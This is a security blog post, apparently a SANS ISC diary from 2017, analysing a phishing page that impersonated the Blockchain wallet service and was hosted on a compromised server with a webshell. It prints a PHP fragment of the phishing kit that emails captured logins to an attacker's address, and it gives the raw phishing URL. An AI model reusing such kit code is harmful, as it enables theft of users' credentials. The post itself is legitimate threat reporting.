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Phishing Campaigns Follow Trends

Published: 2017-06-02. Last Updated: 2017-06-02 08:23:48 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

Those phishing emails that we receive every day in our mailboxes are often related to key players in different fields:

Internet actors Google, Yahoo!, Facebook, ...
Software or manufacturers Apple, Microsoft, Adobe, ...
Financial Services Paypal, BoA, <name your preferred bank>, ...
Services DHL, eBay, ...

But the landscape of online services is ever changing and new actors (and more precisely their customers) become new interesting targets. Yesterday, while hunting, I found for the first time a phishing page trying to lure the Bitcoin operator: BlockChain. Blockchain[1] is a key player in the management of digital assets. The fake[2] page looked like this:

In the mean time, the /block part of the website has been already shut down. Probably via the available webshell that was installed in the server:

Hopefully, the webshell isn't available anymore. But, it was possible to browse the PHP code and to gather more information about the guy behind this phishing page:

$from = "From: b <hacker@forever.org>\n";
$from .= "MIME-Version: 1.0\r\n";
$from .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
if(@$_GET['accedi']=='login'){
    mail("carlosromero19871@gmail.com", $subj, $msg1, $from);
    header( "Location: richiesta_otp.html" );
}else{

Note that the login procedure on BlockChain is extremely strong: 2FA authentication and one-time link is sent via email to approve all login attempts. Be sure that activate them if you're a BlockChain customer.

The fact that Bitcoins, the digital currency, is getting more and more popular makes it a new interesting target for attackers. And this is also the case in corporate environments: There is a trend in companies that make a reserve of Bitcoins to prevent possible Ransomware attacks![3]

[1] https://www.blockchain.com
[2] http://klimatika.com.ua/block/
[3] https://www.technologyreview.com/s/601643/companies-are-stockpiling-bitcoin-to-pay-off-cybercriminals/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Keywords: blockchain phishing
2 comment(s)
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Comments

"And this is also the case in corporate environments: There is a trend in companies that make a reserve of Bitcoins to prevent possible Ransomware attacks!"

Companies are stockpiling Bitcoin to REMEDIATE Ransomeware attacks, not PREVENT. By the time you need Bitcoin, it's too late to prevent.
Absolutely, thanks for the correction!

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